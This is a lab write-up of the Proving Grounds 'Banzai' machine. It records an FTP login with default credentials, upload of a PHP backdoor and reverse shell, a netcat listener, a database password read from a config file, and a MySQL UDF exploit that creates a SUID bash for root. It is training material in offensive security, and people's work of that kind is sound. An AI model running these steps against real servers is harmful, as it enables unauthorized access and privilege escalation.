Proving Grounds: Banzai

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

You will uncover weak credentials in an FTP service, allowing you to upload a web shell to a misconfigured web server. Following this, you will develop a custom function to execute commands as root on a poorly configured MySQL database. This exercise enhances your skills in credential exploitation and database misconfiguration attacks.

Scenario

This lab demonstrates exploiting weak FTP credentials to upload a PHP reverse shell to a web root for initial access. Learners will then leverage a misconfigured MySQL server running as root to escalate privileges using a custom User Defined Function (UDF). The lab emphasizes exploiting file upload vulnerabilities, database misconfigurations, and achieving command execution as root.

Lab Objective

After completion of this lab, learners will be able to:

Enumerate services to identify the FTP server and attempt authentication with weak credentials.
Upload a PHP reverse shell to the web root directory and trigger it to gain access.
Discover database credentials from configuration files and authenticate to the MySQL server.
Create and load a malicious UDF to execute commands as root on the target.
Achieve a reverse shell as root by utilizing the UDF to execute a network command.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

walter white
sarah jhinson
williamanderson
amanda jepson

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

local: simple-backdoor.php remote: simple-backdoor.php
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% |**************************************************************************************|   328        3.67 MiB/s    00:00 ETA
226 Transfer complete.
328 bytes sent in 00:00 (8.37 KiB/s)
ftp> dir
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
-rw-r--r--    1 1001     1001          328 Jun 12 16:53 simple-backdoor.php
226 Directory send OK.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@banzai:/$ mysql -u root -p
mysql -u root -p
Enter password: EscalateRaftHubris123

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

# Read the file contents for useful configuration or credential data.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

www-data@banzai:/var/www/html$ dir
# Inspect the directory for files relevant to the next step.

dir
50236.py     css  index.php  lib     nc32.exe               shell.exe
contactform  img  js         nc.exe  php-reverse-shell.php  simple-backdoor.php

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT     STATE  SERVICE    VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp        vsftpd 3.0.3
22/tcp   open   ssh        OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 ba:3f:68:15:28:86:36:49:7b:4a:84:22:68:15:cc:d1 (RSA)
|   256 2d:ec:3f:78:31:c3:d0:34:5e:3f:e7:6b:77:b5:61:09 (ECDSA)
|_  256 4f:61:5c:cc:b0:1f:be:b4:eb:8f:1c:89:71:04:f0:aa (ED25519)
25/tcp   open   smtp       Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: banzai.offseclabs.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
5432/tcp open   postgresql PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Not valid before: 2020-06-04T14:30:35
|_Not valid after:  2030-06-02T14:30:35
8080/tcp open   http       Apache httpd 2.4.25
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.25 (Debian)
8295/tcp open   http       Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Banzai

Possible users

Trying admin:admin credentials for FTP worked
Uploading php backdoor
uploaded php-reverse-shell.php from pentest monkey on port 22
got revshell

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/banzai]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 22
listening on [any] 22 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.140.56] 47324
Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
 17:20:15 up  1:18,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can\'t access tty; job control turned off
# Confirm the identity of the current session.

$ whoami
www-data

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/banzai]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 22
listening on [any] 22 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.140.56] 47332
Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
 17:39:08 up  1:37,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can\'t access tty; job control turned off
# Run the helper or analysis script used in this lab step.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.

www-data@banzai:/$ ps -aux | grep 'mysql'
ps -aux | grep 'mysql'
root       678  0.0  8.6 1125460 177380 ?      Sl   16:01   0:01 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
www-data  2342  0.0  0.2  34772  6104 ?        S    17:26   0:00 mysql -u root -p
www-data  2472  0.0  0.0  11108   932 pts/1    S+   17:39   0:00 grep mysql
# Read the file contents for useful configuration or credential data.

www-data@banzai:/$ cat /var/www/config.php
# Read the file contents for useful configuration or credential data.

cat /var/www/config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>

Could not find any useful information in any of the databases
Searching for mysql version and trying to find priv esc exploits for mysql 5.7
https://www.exploit-db.com/exploits/50236
since we are not able to use python http server to upload files, uploading files using the ftp

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output confirms the effective user and privilege level of the current session.

mysql> status;
status;
--------------
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using  EditLine wrapper

Connection id:          15
Current database:
Current user:           root@localhost
SSL:                    Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:        ;
Server version:         5.7.30 MySQL Community Server (GPL)
Protocol version:       10
Connection:             Localhost via UNIX socket
Server characterset:    latin1
Db     characterset:    latin1
Client characterset:    latin1
Conn.  characterset:    latin1
UNIX socket:            /var/run/mysqld/mysqld.sock
Uptime:                 679 days 12 hours 16 min 16 sec

Threads: 2  Questions: 72  Slow queries: 0  Opens: 138  Flush tables: 1  Open tables: 131  Queries per second avg: 0.000
--------------

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Execute the next evidence-gathering step in the authorized lab.

www-data@banzai:/var/www/html$ python2 50236.py -u root -p EscalateRaftHubris123
# Execute the next evidence-gathering step in the authorized lab.

<$ python2 50236.py -u root -p EscalateRaftHubris123
mysql: [Warning] Using a password on the command line interface can be insecure.
Plugin dir is /usr/lib/mysql/plugin/
Trying to create a udf library...
mysql: [Warning] Using a password on the command line interface can be insecure.
UDF library created successfully: /usr/lib/mysql/plugin/udf9431.so
Trying to create sys_exec...
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1125 (HY000) at line 1: Function 'sys_exec' already exists
Checking if sys_exec was created...
mysql: [Warning] Using a password on the command line interface can be insecure.
sys_exec was found: *************************** 1. row ***************************
name: sys_exec
 ret: 2
  dl: udf8336.so
type: function

Generating a SUID binary in /var/www/bash...
mysql: [Warning] Using a password on the command line interface can be insecure.
+------------------------------------------------------------------+
| sys_exec('cp /bin/bash /var/www/bash && chmod +s /var/www/bash') |
+------------------------------------------------------------------+
|                                                              256 |
+------------------------------------------------------------------+
Trying to spawn a root shell...
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=114(mysql) groups=114(mysql),33(www-data)
bash-4.4#

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.